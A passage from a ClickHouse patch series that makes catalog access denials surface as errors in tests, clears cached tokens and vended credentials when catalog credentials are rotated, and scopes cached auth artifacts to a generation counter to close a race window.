listing nothing without an exception. - `test_datalake_sso_lakekeeper::test_users_see_different_tables`: the listing query sets the setting explicitly, and Lakekeeper answers a listing the principal has no grant for with `NoSuchWarehouseException` ("Warehouse not found or access denied"), so the query fails rather than returning an empty result. This is the expectation `test_alice_cannot_read_bobs_table` already had for the same denial. --- .../test_datalake_sso_lakekeeper/test.py | 15 ++++++++++----- ...atalake_token_forwarding_fail_closed.reference | 2 ++ ...05028_datalake_token_forwarding_fail_closed.sh | 11 +++++++---- 3 files changed, 19 insertions(+), 9 deletions(-) diff --git a/tests/integration/test_datalake_sso_lakekeeper/test.py b/tests/integration/test_datalake_sso_lakekeeper/test.py index cd77d1f5f943..b7846f123765 100644 --- a/tests/integration/test_datalake_sso_lakekeeper/test.py +++ b/tests/integration/test_datalake_sso_lakekeeper/test.py @@ -355,11 +355,16 @@ def test_users_see_different_tables(started_cluster): assert query_as_ok(node, alice, listing_sql.format(db="db_alice")).strip() == "ns.t_alice" assert query_as_ok(node, bob, listing_sql.format(db="db_bob")).strip() == "ns.t_bob" - # And neither sees anything in the other's warehouse. Empty is the catalog's answer, not a - # symptom of nothing working: the two assertions above went through the same code path and did - # return a table, so an empty listing here can only be Lakekeeper withholding it. - assert query_as_ok(node, alice, listing_sql.format(db="db_bob")).strip() == "" - assert query_as_ok(node, bob, listing_sql.format(db="db_alice")).strip() == "" + # And neither sees anything in the other's warehouse. The refusal is the catalog's answer, not + # a symptom of nothing working: the two assertions above went through the same code path and + # did return a table. `show_data_lake_catalogs_in_system_tables` is on, so + # `DatabaseDataLake::getTablesIterator` reports the catalog error rather than swallowing it + # into an empty listing, and Lakekeeper answers a listing the principal has no grant for with + # `NoSuchWarehouseException` ("Warehouse not found or access denied"). + denied = query_as(node, alice, listing_sql.format(db="db_bob")) + assert denied.status_code != 200, denied.text + denied = query_as(node, bob, listing_sql.format(db="db_alice")) + assert denied.status_code != 200, denied.text def test_alice_cannot_read_bobs_table(started_cluster): diff --git a/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.reference b/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.reference index 1b1287ff7168..b2e3dc928997 100644 --- a/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.reference +++ b/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.reference @@ -8,6 +8,8 @@ CATALOG_USER_TOKEN_NOT_AVAILABLE CATALOG_USER_TOKEN_NOT_AVAILABLE -- SHOW TABLES discloses nothing 0 +-- and reports the refusal rather than an empty list +1 -- the error names the server-level switch as the cause server-level `enable_token_forwarding` setting is off -- the credential never reaches system.query_log diff --git a/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.sh b/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.sh index ec31c01abe22..56483dfd2ea0 100755 --- a/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.sh +++ b/tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.sh @@ -64,11 +64,14 @@ ${CLICKHOUSE_CLIENT} --query "EXISTS TABLE ${DB}.\`ns.t\`" 2>&1 | grep -o 'CATAL echo '-- CHECK DATABASE' ${CLICKHOUSE_CLIENT} --query "CHECK DATABASE ${DB}" 2>&1 | grep -o 'CATALOG_USER_TOKEN_NOT_AVAILABLE' -# `system.tables` (and therefore SHOW TABLES) deliberately swallows catalog errors so that a -# single unreachable database cannot break the whole system table. Fail-closed there means an -# empty list -- no table names are disclosed -- rather than an exception. +# `system.tables` swallows catalog errors so that a single unreachable database cannot break the +# whole system table, but an explicit `SHOW TABLES` turns `show_data_lake_catalogs_in_system_tables` +# on for its own query, and `DatabaseDataLake::getTablesIterator` rethrows under that setting. So +# the refusal surfaces here, and either way no table name is disclosed. echo '-- SHOW TABLES discloses nothing' -${CLICKHOUSE_CLIENT} --query "SHOW TABLES FROM ${DB}" | wc -l +${CLICKHOUSE_CLIENT} --query "SHOW TABLES FROM ${DB}" 2>/dev/null | wc -l +echo '-- and reports the refusal rather than an empty list' +${CLICKHOUSE_CLIENT} --query "SHOW TABLES FROM ${DB}" 2>&1 >/dev/null | grep -c 'CATALOG_USER_TOKEN_NOT_AVAILABLE' # Two `CATALOG_USER_TOKEN_NOT_AVAILABLE` branches share the error code, so pin down which one # fired: this one is about the server switch, not about a session that merely lacks a token. The From dd79c4d7b09238464dc3de2718c622c3d3fa2586 Mon Sep 17 00:00:00 2001 From: Andrey Zvonov <32552679+zvonand@users.noreply.github.com> Date: Thu, 10 Sep 2026 11:33:14 +0200 Subject: [PATCH 4/6] Drop the cached tokens and vended credentials on a catalog auth change `RestCatalog::commitSettingsChanges` published the new state and the newly minted `access_token`, but left both per-user caches populated. Both hold artifacts derived from the credentials that were just replaced: session tokens `exchangeUserToken` obtained with the old `client_id`/`client_secret`, and the credentials the catalog vended to the resulting identity. `ALTER DATABASE ... MODIFY SETTING catalog_credential = ...` is how an operator rotates a leaked client secret, so leaving the caches warm kept the rotated secret working for the rest of the cache TTL -- up to `oauth_user_token_cache_ttl` and `vended_credentials_cache_ttl`, both 300 seconds by default. The 401 retry path does not help: a session token already issued has its own expiry, independent of the client secret that minted it, so the catalog keeps honouring it. Both caches are now cleared, after the new state is published so that a request racing with the ALTER re-populates from the new credentials and not the old ones. --- src/Databases/DataLake/RestCatalog.cpp | 12 ++++ .../gtest_rest_catalog_token_forwarding.cpp | 61 +++++++++++++++++++ 2 files changed, 73 insertions(+) diff --git a/src/Databases/DataLake/RestCatalog.cpp b/src/Databases/DataLake/RestCatalog.cpp index e88746c680d6..fce8ec47b7e1 100644 --- a/src/Databases/DataLake/RestCatalog.cpp +++ b/src/Databases/DataLake/RestCatalog.cpp @@ -928,6 +928,18 @@ void RestCatalog::commitSettingsChanges(ICatalog::PreparedSettingsChangesPtr pre state.set(std::move(prepared_auth->new_state)); if (prepared_auth->new_access_token) access_token.set(std::move(prepared_auth->new_access_token)); + + /// Both caches hold artifacts derived from the credentials that were just replaced: session + /// tokens exchanged with the old `client_id`/`client_secret`, and credentials the catalog + /// vended to the old identity. Keeping them lets a rotated -- typically leaked -- credential + /// keep working for the rest of the cache TTL, which is what the ALTER was meant to stop. + /// Cleared after the new state is published, so that a request racing with the ALTER + /// re-populates from the new credentials and not the old ones. + user_token_cache.clear(); + { + std::lock_guard lock(credentials_cache_mutex); + credentials_cache.clear(); + } } void RestCatalog::applySettingsChangesToState( diff --git a/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp b/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp index 3ad354d7f6a4..f27aa09b05b3 100644 --- a/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp +++ b/src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp @@ -613,4 +613,65 @@ TEST_F(RestCatalogTokenForwarding, DisablingTheServerSwitchAtRuntimeStopsForward EXPECT_EQ(request.header("Authorization"), "Bearer session_token_1"); } +/// --- Auth change ------------------------------------------------------------------------- + +/// `ALTER DATABASE ... MODIFY SETTING catalog_credential = ...` is how an operator rotates a +/// leaked client secret. Both caches hold artifacts derived from the old one -- session tokens +/// exchanged with it, and the credentials the catalog vended to the resulting identity -- so +/// leaving them warm would keep the rotated secret working for the rest of the cache TTL. +TEST_F(RestCatalogTokenForwarding, AlteringCatalogCredentialDropsCachedTokensAndCredentials) +{ + TestServer server; + installCatalogShape(*server); + installTokenEndpoint(*server, IDP_TOKEN_PATH); + /// The eager `client_credentials` fetch the ALTER makes with the not-yet-published credentials. + installTokenEndpoint(*server, CATALOG_TOKEN_PATH); + server->setStaticRoute(TABLE_PATH, loadTableResponse("AKIA_VENDED")); + + auto alice = makeToken(ALICE_TOKEN, "alice"); + auto context = makeQueryContext(); + auto catalog = makeCatalog(server, context, exchangeAt(server.getUrl() + IDP_TOKEN_PATH), "client:secret"); + catalog->setVendedCredentialsCacheTTL(std::chrono::seconds(300)); + + auto load = [&] + { + auto query_context = makeQueryContext(alice); + TableMetadata metadata; + metadata.withLocation().withStorageCredentials(); + catalog->getTableMetadata("ns", "t", query_context, metadata); + }; + + /// The `X-Iceberg-Access-Delegation` header is sent only when credentials have to be vended, + /// so its presence is the exact signal for "the credentials cache missed". + auto vending_requests = [&] + { + size_t count = 0; + for (const auto & request : server->requestsTo(TABLE_PATH)) + if (request.header("X-Iceberg-Access-Delegation") == "vended-credentials") + ++count; + return count; + }; + + load(); + ASSERT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); + ASSERT_EQ(vending_requests(), 1u); + + /// Both caches are warm: nothing is exchanged and nothing is vended again. + load(); + ASSERT_EQ(server->countRequestsTo(IDP_TOKEN_PATH), 1u); + ASSERT_EQ(vending_requests(), 1u); + + DB::SettingsChanges changes; + changes.emplace_back("catalog_credential", "client:rotated_secret"); + catalog->commitSettingsChanges(catalog->prepareSettingsChanges(changes)); + + load(); + EXPECT_EQ(vending_requests(), 2u); + + const auto exchanges = server->requestsTo(IDP_TOKEN_PATH); + ASSERT_EQ(exchanges.size(), 2u); + /// Re-exchanged, and with the rotated secret rather than the one it replaced. + EXPECT_EQ(parseForm(exchanges.back().body).at("client_secret"), "rotated_secret"); +} + #endif From 0e6ab28b0864188897d5f94c338ebb5606620654 Mon Sep 17 00:00:00 2001 From: Andrey Zvonov <32552679+zvonand@users.noreply.github.com> Date: Thu, 10 Sep 2026 14:04:01 +0200 Subject: [PATCH 5/6] Scope cached auth artifacts to the generation they were minted in Clearing the caches in `commitSettingsChanges` does not cover a request that authenticated before the ALTER and finishes after it. The window is a whole catalog round trip, not a few instructions: a query takes a `CatalogState` snapshot, exchanges a token or waits for `loadTable`, and only then writes its result back -- after the clear. The pre-rotation session token and the credentials the catalog vended to that identity are put straight back, for a full cache TTL. The same race hits `access_token`, and there it is worse. `getAuthHeaders` mints from the caller's snapshot and publishes unconditionally, so a grant that started before the ALTER overwrites the token the ALTER eagerly published. That is the plain non-forwarding `client_credentials` path, not just forwarding, and nothing bounds it: the rotated-away credential stays in force for the whole lifetime of that token, or until a 401 forces `update_token`. `commitSettingsChanges` now bumps an `auth_generation` counter, and a request tags whatever it derives from a snapshot with the generation it read. Generation-scoped cache keys make a late write unreachable rather than merely late, and `publishServiceToken` publishes only when the credentials it minted with are still in force. The ordering is what makes it hold. A reader takes the generation before the state, so a stale pair is discarded and the reverse pairing only wastes a cache fill. `commitSettingsChanges` publishes the state, bumps, then clears, so a write that slips past the generation check necessarily started before the clear and is wiped by it, while a write landing after the clear is already keyed to a dead generation. The bump and the publish it guards share `auth_publish_mutex`, which is never held across a network request. The counter is deliberately not a field of `CatalogState`: that is republished for unrelated reasons, and a counter that only moves forward must not travel back with it. Both regression tests park a catalog route so the ALTER lands while a request is genuinely in flight; both fail without this change. --- src/Databases/DataLake/RestCatalog.cpp | 147 +++++++++----- src/Databases/DataLake/RestCatalog.h | 59 +++++- src/Databases/DataLake/S3TablesCatalog.cpp | 7 +- .../gtest_rest_catalog_token_forwarding.cpp | 180 ++++++++++++++++++ 4 files changed, 335 insertions(+), 58 deletions(-) diff --git a/src/Databases/DataLake/RestCatalog.cpp b/src/Databases/DataLake/RestCatalog.cpp index fce8ec47b7e1..745e9ca2601e 100644 --- a/src/Databases/DataLake/RestCatalog.cpp +++ b/src/Databases/DataLake/RestCatalog.cpp @@ -518,7 +518,7 @@ RestCatalog::RestCatalog( /// so either identity is appropriate. if (!token_forwarding.forward_user_token) { - initial_state.config = loadConfig(initial_state, /* auth_token */ {}); + initial_state.config = loadConfig(initial_state, /* generation */ 0, /* auth_token */ {}); initial_state.config_loaded = true; } state.set(std::make_unique(std::move(initial_state))); @@ -554,18 +554,19 @@ void RestCatalog::loadConfigIfNeeded(const DB::ForwardedAuthTokenPtr & auth_toke return; std::lock_guard lock(config_mutex); - const auto old_state = state.get(); + const auto old_state = getStateSnapshot(); if (old_state->config_loaded) return; auto new_state = std::make_unique(*old_state); - new_state->config = loadConfig(*old_state, auth_token); + new_state->config = loadConfig(*old_state, old_state.generation, auth_token); new_state->config_loaded = true; state.set(std::move(new_state)); } RestCatalog::Config RestCatalog::loadConfig( const CatalogState & catalog_state, + UInt64 generation, const DB::ForwardedAuthTokenPtr & auth_token, const std::optional & auth_headers) const { @@ -576,7 +577,7 @@ RestCatalog::Config RestCatalog::loadConfig( { ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogLoadConfig); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogLoadConfigMicroseconds); - auto buf = createReadBuffer(catalog_state, CONFIG_ENDPOINT, auth_token, params, /* headers */{}, auth_headers); + auto buf = createReadBuffer(catalog_state, generation, CONFIG_ENDPOINT, auth_token, params, /* headers */{}, auth_headers); readJSONObjectPossiblyInvalid(json_str, *buf); } @@ -650,7 +651,9 @@ DB::HTTPHeaderEntries RestCatalog::getAuthHeaders(const AuthContext & auth_conte { DB::HTTPHeaderEntries headers; headers.emplace_back( - "Authorization", "Bearer " + getForwardedToken(catalog_state, auth_context.auth_token, auth_context.update_token)); + "Authorization", + "Bearer " + + getForwardedToken(catalog_state, auth_context.generation, auth_context.auth_token, auth_context.update_token)); return headers; } @@ -666,8 +669,8 @@ DB::HTTPHeaderEntries RestCatalog::getAuthHeaders(const AuthContext & auth_conte auto current = access_token.get(); if (!current || auth_context.update_token || current->isExpired()) { - access_token.set(std::make_unique(retrieveAccessToken(catalog_state.client_id, catalog_state.client_secret))); - current = access_token.get(); + current = publishServiceToken( + retrieveAccessToken(catalog_state.client_id, catalog_state.client_secret), auth_context.generation); } else if (auth_context.used_cached_oauth_token) { @@ -681,8 +684,26 @@ DB::HTTPHeaderEntries RestCatalog::getAuthHeaders(const AuthContext & auth_conte return {}; } +MultiVersion::Version RestCatalog::publishServiceToken(AccessToken minted, UInt64 generation) const +{ + auto result = std::make_shared(std::move(minted)); + + /// A grant that started before `ALTER DATABASE ... MODIFY SETTING catalog_credential` can only + /// finish after it, and would otherwise overwrite the token the ALTER eagerly published -- + /// putting the rotated-away credential back in force for the whole lifetime of that token, + /// which no cache TTL bounds. The generation says whether the credentials it was minted with + /// are still the ones in force; the lock stops the ALTER from landing between the two. + std::lock_guard lock(auth_publish_mutex); + if (auth_generation.load(std::memory_order_acquire) == generation) + access_token.set(std::make_unique(*result)); + + /// Returned regardless: the catalog accepted this request under these credentials, so the + /// request itself completes. Only sharing the token with later requests is withheld. + return result; +} + String RestCatalog::getForwardedToken( - const CatalogState & catalog_state, const DB::ForwardedAuthTokenPtr & auth_token, bool update_token) const + const CatalogState & catalog_state, UInt64 generation, const DB::ForwardedAuthTokenPtr & auth_token, bool update_token) const { /// Re-read the server-level switch on every forwarded request instead of trusting the decision /// `Session::authenticate` made once. `enable_token_forwarding` is hot-reloadable @@ -735,15 +756,20 @@ String RestCatalog::getForwardedToken( auto exchange = [&] { - return std::make_shared(exchangeUserToken(catalog_state, *auth_token)); + return std::make_shared(exchangeUserToken(catalog_state, generation, *auth_token)); }; if (!caching_enabled) return exchange()->token; + /// Scoped to the generation the exchange authenticated in, so that an exchange still in + /// flight when the catalog credentials are rotated writes its result under a key nothing + /// reads any more, instead of reinstating a session minted with the old client secret. + const String cache_key = fmt::format("{}:{}", generation, auth_token->fingerprint); + if (!update_token) { - if (auto cached = user_token_cache.get(auth_token->fingerprint); cached && !cached->isExpired()) + if (auto cached = user_token_cache.get(cache_key); cached && !cached->isExpired()) { ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogUserTokenCacheHits); return cached->token; @@ -754,14 +780,15 @@ String RestCatalog::getForwardedToken( /// `getOrSetWithOutcome` reloads instead of handing back the stale value, and so that the /// stampede protection still collapses the concurrent re-exchanges a single `SHOW TABLES` /// fanned across the catalog thread pool would otherwise cause. - user_token_cache.remove(auth_token->fingerprint); - auto [session_token, outcome] = user_token_cache.getOrSetWithOutcome(auth_token->fingerprint, exchange); + user_token_cache.remove(cache_key); + auto [session_token, outcome] = user_token_cache.getOrSetWithOutcome(cache_key, exchange); if (outcome == DB::CacheGetOrSetOutcome::Hit) ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogUserTokenCacheHits); return session_token->token; } -AccessToken RestCatalog::exchangeUserToken(const CatalogState & catalog_state, const DB::ForwardedAuthToken & auth_token) const +AccessToken RestCatalog::exchangeUserToken( + const CatalogState & catalog_state, UInt64 generation, const DB::ForwardedAuthToken & auth_token) const { TokenRequest request; request.grant = TokenRequest::Grant::TokenExchange; @@ -781,7 +808,7 @@ AccessToken RestCatalog::exchangeUserToken(const CatalogState & catalog_state, c /// enabling the setting was meant to prevent. if (token_forwarding.forward_actor_token) { - request.actor_token = getServicePrincipalToken(catalog_state); + request.actor_token = getServicePrincipalToken(catalog_state, generation); request.actor_token_type = "urn:ietf:params:oauth:token-type:access_token"; } @@ -843,7 +870,7 @@ OneLakeCatalog::OneLakeCatalog( initial_state.client_secret = onelake_client_secret; update_token_if_expired = true; } - initial_state.config = loadConfig(initial_state, /* auth_token */ {}); + initial_state.config = loadConfig(initial_state, /* generation */ 0, /* auth_token */ {}); initial_state.config_loaded = true; state.set(std::make_unique(std::move(initial_state))); } @@ -905,7 +932,7 @@ struct RestCatalog::PreparedAuthChanges : ICatalog::PreparedSettingsChanges ICatalog::PreparedSettingsChangesPtr RestCatalog::prepareSettingsChanges(const DB::SettingsChanges & changes) { - const auto old_state = state.get(); + const auto old_state = getStateSnapshot(); CatalogState new_state = *old_state; auto prepared = std::make_unique(); @@ -914,7 +941,7 @@ ICatalog::PreparedSettingsChangesPtr RestCatalog::prepareSettingsChanges(const D /// The config was loaded with the old credentials; the new ones may resolve the /// warehouse to a different prefix or base location, so reload it before publishing. - new_state.config = loadConfig(new_state, /* auth_token */ {}, new_auth_headers); + new_state.config = loadConfig(new_state, old_state.generation, /* auth_token */ {}, new_auth_headers); prepared->new_state = std::make_unique(std::move(new_state)); return prepared; } @@ -925,16 +952,28 @@ void RestCatalog::commitSettingsChanges(ICatalog::PreparedSettingsChangesPtr pre if (!prepared_auth || !prepared_auth->new_state) throw DB::Exception(DB::ErrorCodes::LOGICAL_ERROR, "Settings changes to commit were not prepared by this catalog"); - state.set(std::move(prepared_auth->new_state)); - if (prepared_auth->new_access_token) - access_token.set(std::move(prepared_auth->new_access_token)); + { + /// Under the lock so that a request cannot check the generation, find it unchanged, and + /// only then publish a token minted with the credentials being replaced here. + std::lock_guard lock(auth_publish_mutex); + state.set(std::move(prepared_auth->new_state)); + if (prepared_auth->new_access_token) + access_token.set(std::move(prepared_auth->new_access_token)); + + /// Bumped after the state is published, never before: a reader takes the generation + /// first and the state second, so this order leaves it either correct or paired with a + /// generation older than its state, which merely costs a wasted cache fill. + auth_generation.fetch_add(1, std::memory_order_release); + } /// Both caches hold artifacts derived from the credentials that were just replaced: session /// tokens exchanged with the old `client_id`/`client_secret`, and credentials the catalog /// vended to the old identity. Keeping them lets a rotated -- typically leaked -- credential /// keep working for the rest of the cache TTL, which is what the ALTER was meant to stop. - /// Cleared after the new state is published, so that a request racing with the ALTER - /// re-populates from the new credentials and not the old ones. + /// + /// Cleared after the generation is bumped, which is what makes the two mechanisms cover each + /// other: a write that slips past the generation check necessarily started before this clear + /// and is wiped by it, and a write that lands after it is already keyed to a dead generation. user_token_cache.clear(); { std::lock_guard lock(credentials_cache_mutex); @@ -1234,7 +1273,7 @@ AccessToken RestCatalog::retrieveAccessToken(const std::string & client_id, cons return requestToken(request); } -String RestCatalog::getServicePrincipalToken(const CatalogState & catalog_state) const +String RestCatalog::getServicePrincipalToken(const CatalogState & catalog_state, UInt64 generation) const { /// Same caching rule as the `client_credentials` branch of `getAuthHeaders`: reuse the token /// held in `access_token` until it falls outside its validity window, then mint a new one. @@ -1242,10 +1281,7 @@ String RestCatalog::getServicePrincipalToken(const CatalogState & catalog_state) /// by every user of the database, and never a per-user one. auto current = access_token.get(); if (!current || current->isExpired()) - { - access_token.set(std::make_unique(retrieveAccessToken(catalog_state.client_id, catalog_state.client_secret))); - current = access_token.get(); - } + current = publishServiceToken(retrieveAccessToken(catalog_state.client_id, catalog_state.client_secret), generation); return current->token; } @@ -1277,7 +1313,7 @@ BigLakeCatalog::BigLakeCatalog( access_token.set(std::make_unique(retrieveGoogleCloudAccessToken())); } CatalogState initial_state; - initial_state.config = loadConfig(initial_state, /* auth_token */ {}); + initial_state.config = loadConfig(initial_state, /* generation */ 0, /* auth_token */ {}); initial_state.config_loaded = true; state.set(std::make_unique(std::move(initial_state))); } @@ -1454,7 +1490,7 @@ DB::ForwardedAuthTokenPtr RestCatalog::getForwardedAuthToken(const DB::ContextPt std::optional RestCatalog::getStorageType() const { - const auto state_snapshot = state.get(); + const auto state_snapshot = getStateSnapshot(); /// Under forwarding the config is filled in lazily by the first user query. if (!state_snapshot->config_loaded || state_snapshot->config.default_base_location.empty()) return std::nullopt; @@ -1463,6 +1499,7 @@ std::optional RestCatalog::getStorageType() const DB::ReadWriteBufferFromHTTPPtr RestCatalog::createReadBuffer( const CatalogState & catalog_state, + UInt64 generation, const std::string & endpoint, const DB::ForwardedAuthTokenPtr & auth_token, const Poco::URI::QueryParameters & params, @@ -1480,6 +1517,7 @@ DB::ReadWriteBufferFromHTTPPtr RestCatalog::createReadBuffer( { AuthContext auth_context{ .catalog_state = catalog_state, + .generation = generation, .update_token = update_token, .method = Poco::Net::HTTPRequest::HTTP_GET, .url = url, @@ -1668,7 +1706,7 @@ Poco::URI::QueryParameters RestCatalog::createParentNamespaceParams(const std::s RestCatalog::Namespaces RestCatalog::getNamespaces(const std::string & base_namespace, const DB::ForwardedAuthTokenPtr & auth_token) const { - const auto state_snapshot = state.get(); + const auto state_snapshot = getStateSnapshot(); Poco::URI::QueryParameters base_params; if (!base_namespace.empty()) @@ -1696,7 +1734,8 @@ RestCatalog::Namespaces RestCatalog::getNamespaces(const std::string & base_name ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogGetNamespaces); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogGetNamespacesMicroseconds); - auto buf = createReadBuffer(*state_snapshot, state_snapshot->config.prefix / NAMESPACES_ENDPOINT, auth_token, params); + auto buf = createReadBuffer( + *state_snapshot, state_snapshot.generation, state_snapshot->config.prefix / NAMESPACES_ENDPOINT, auth_token, params); String next_page_token; auto page_namespaces = parseNamespaces(*buf, base_namespace, next_page_token); LOG_DEBUG( @@ -1829,7 +1868,7 @@ DB::Names RestCatalog::getTablesInNamespace(const std::string & base_namespace, throw DB::Exception(DB::ErrorCodes::CATALOG_NAMESPACE_DISABLED, "Namespace {} is filtered by `namespaces` database parameter", base_namespace); - const auto state_snapshot = state.get(); + const auto state_snapshot = getStateSnapshot(); auto encoded_namespace = encodeNamespaceForURI(base_namespace); const std::string endpoint = std::filesystem::path(NAMESPACES_ENDPOINT) / encoded_namespace / "tables"; @@ -1854,7 +1893,7 @@ DB::Names RestCatalog::getTablesInNamespace(const std::string & base_namespace, ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogGetTables); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogGetTablesMicroseconds); - auto buf = createReadBuffer(*state_snapshot, state_snapshot->config.prefix / endpoint, auth_token, params); + auto buf = createReadBuffer(*state_snapshot, state_snapshot.generation, state_snapshot->config.prefix / endpoint, auth_token, params); /// Pass through the remaining limit so that single-page short-circuiting still works /// when the caller is in `empty()` (limit=1) and the first page already contains a row. @@ -2090,8 +2129,11 @@ bool RestCatalog::getTableMetadataImpl( DB::HTTPHeaderEntries headers; + const auto state_snapshot = getStateSnapshot(); + const bool want_credentials = result.requiresCredentials(); - const CredentialsCacheKey credentials_key{getCredentialsCachePrincipal(auth_token), namespace_name, table_name}; + const CredentialsCacheKey credentials_key{ + state_snapshot.generation, getCredentialsCachePrincipal(auth_token), namespace_name, table_name}; /// Reuse previously vended credentials is possible std::optional cached_credentials; @@ -2114,14 +2156,14 @@ bool RestCatalog::getTableMetadataImpl( } } - const auto state_snapshot = state.get(); const std::string endpoint = std::filesystem::path(NAMESPACES_ENDPOINT) / encodeNamespaceForURI(namespace_name) / "tables" / table_name; String json_str; { ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogGetTableMetadata); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogGetTableMetadataMicroseconds); - auto buf = createReadBuffer(*state_snapshot, state_snapshot->config.prefix / endpoint, auth_token, /* params */{}, headers); + auto buf = createReadBuffer( + *state_snapshot, state_snapshot.generation, state_snapshot->config.prefix / endpoint, auth_token, /* params */{}, headers); if (buf->eof()) { @@ -2222,6 +2264,7 @@ bool RestCatalog::getTableMetadataImpl( void RestCatalog::sendRequest( const CatalogState & catalog_state, + UInt64 generation, const String & endpoint, Poco::JSON::Object::Ptr request_body, const DB::ForwardedAuthTokenPtr & auth_token, @@ -2257,6 +2300,7 @@ void RestCatalog::sendRequest( { AuthContext auth_context{ .catalog_state = catalog_state, + .generation = generation, .update_token = update_token, .method = method, .url = url, @@ -2314,7 +2358,7 @@ void RestCatalog::createNamespaceIfNotExists(const String & namespace_name, cons { loadConfigIfNeeded(auth_token); - const auto state_snapshot = state.get(); + const auto state_snapshot = getStateSnapshot(); /// Check existence first: creation may be denied to a principal that is still /// allowed to use a pre-provisioned namespace. @@ -2323,7 +2367,7 @@ void RestCatalog::createNamespaceIfNotExists(const String & namespace_name, cons try { sendRequest( - *state_snapshot, check_endpoint, /* request_body */ nullptr, auth_token, + *state_snapshot, state_snapshot.generation, check_endpoint, /* request_body */ nullptr, auth_token, Poco::Net::HTTPRequest::HTTP_GET, /* ignore_result */ true); return; } @@ -2351,7 +2395,7 @@ void RestCatalog::createNamespaceIfNotExists(const String & namespace_name, cons { ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogCreateNamespace); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogCreateNamespaceMicroseconds); - sendRequest(*state_snapshot, endpoint, request_body, auth_token); + sendRequest(*state_snapshot, state_snapshot.generation, endpoint, request_body, auth_token); } catch (const DB::HTTPException & e) { @@ -2369,7 +2413,7 @@ void RestCatalog::createTable(const String & namespace_name, const String & tabl throw DB::Exception(DB::ErrorCodes::CATALOG_NAMESPACE_DISABLED, "Failed to create table {}, namespace {} is filtered by `namespaces` database parameter", table_name, namespace_name); - const auto state_snapshot = state.get(); + const auto state_snapshot = getStateSnapshot(); const std::string endpoint = (base_url / state_snapshot->config.prefix / NAMESPACES_ENDPOINT / encodeNamespaceForURI(namespace_name) / "tables").generic_string(); Poco::JSON::Object::Ptr request_body = new Poco::JSON::Object; @@ -2402,7 +2446,7 @@ void RestCatalog::createTable(const String & namespace_name, const String & tabl { ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogCreateTable); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogCreateTableMicroseconds); - sendRequest(*state_snapshot, endpoint, request_body, auth_token); + sendRequest(*state_snapshot, state_snapshot.generation, endpoint, request_body, auth_token); } catch (const DB::HTTPException & ex) { @@ -2421,7 +2465,7 @@ bool RestCatalog::updateMetadata(const String & namespace_name, const String & t "REST catalog does not support metadata-only updates without a snapshot " "(required for EXPIRE SNAPSHOTS)"); - const auto state_snapshot = state.get(); + const auto state_snapshot = getStateSnapshot(); const std::string endpoint = (base_url / state_snapshot->config.prefix / NAMESPACES_ENDPOINT / encodeNamespaceForURI(namespace_name) / "tables" / table_name).generic_string(); auto request_body = buildUpdateMetadataRequestBody(namespace_name, table_name, new_snapshot); @@ -2430,7 +2474,7 @@ bool RestCatalog::updateMetadata(const String & namespace_name, const String & t { ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogUpdateTable); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogUpdateTableMicroseconds); - sendRequest(*state_snapshot, endpoint, request_body, auth_token); + sendRequest(*state_snapshot, state_snapshot.generation, endpoint, request_body, auth_token); } catch (const DB::HTTPException & ex) { @@ -2460,7 +2504,7 @@ bool RestCatalog::updateSchema( loadConfigIfNeeded(auth_token); - const auto state_snapshot = state.get(); + const auto state_snapshot = getStateSnapshot(); const std::string endpoint = (base_url / state_snapshot->config.prefix / NAMESPACES_ENDPOINT / encodeNamespaceForURI(namespace_name) / "tables" / table_name).generic_string(); auto request_body = buildUpdateSchemaRequestBody( @@ -2468,7 +2512,7 @@ bool RestCatalog::updateSchema( try { - sendRequest(*state_snapshot, endpoint, request_body, auth_token); + sendRequest(*state_snapshot, state_snapshot.generation, endpoint, request_body, auth_token); } catch (const DB::HTTPException & ex) { @@ -2498,7 +2542,7 @@ void RestCatalog::dropTable(const String & namespace_name, const String & table_ "Failed to drop table {}, namespace {} is filtered by `namespaces` database parameter", table_name, namespace_name); - const auto state_snapshot = state.get(); + const auto state_snapshot = getStateSnapshot(); const std::string endpoint = (base_url / state_snapshot->config.prefix / NAMESPACES_ENDPOINT / encodeNamespaceForURI(namespace_name) / "tables" / table_name).generic_string() + "?purgeRequested=False"; @@ -2508,7 +2552,8 @@ void RestCatalog::dropTable(const String & namespace_name, const String & table_ { ProfileEvents::increment(ProfileEvents::DataLakeRestCatalogDropTable); auto timer = DB::CurrentThread::getProfileEvents().timer(ProfileEvents::DataLakeRestCatalogDropTableMicroseconds); - sendRequest(*state_snapshot, endpoint, request_body, auth_token, Poco::Net::HTTPRequest::HTTP_DELETE, true); + sendRequest( + *state_snapshot, state_snapshot.generation, endpoint, request_body, auth_token, Poco::Net::HTTPRequest::HTTP_DELETE, true); } catch (const DB::HTTPException & ex) { @@ -2743,7 +2788,7 @@ ICatalog::CredentialsRefreshCallback RestCatalog::getCredentialsConfigurationCal 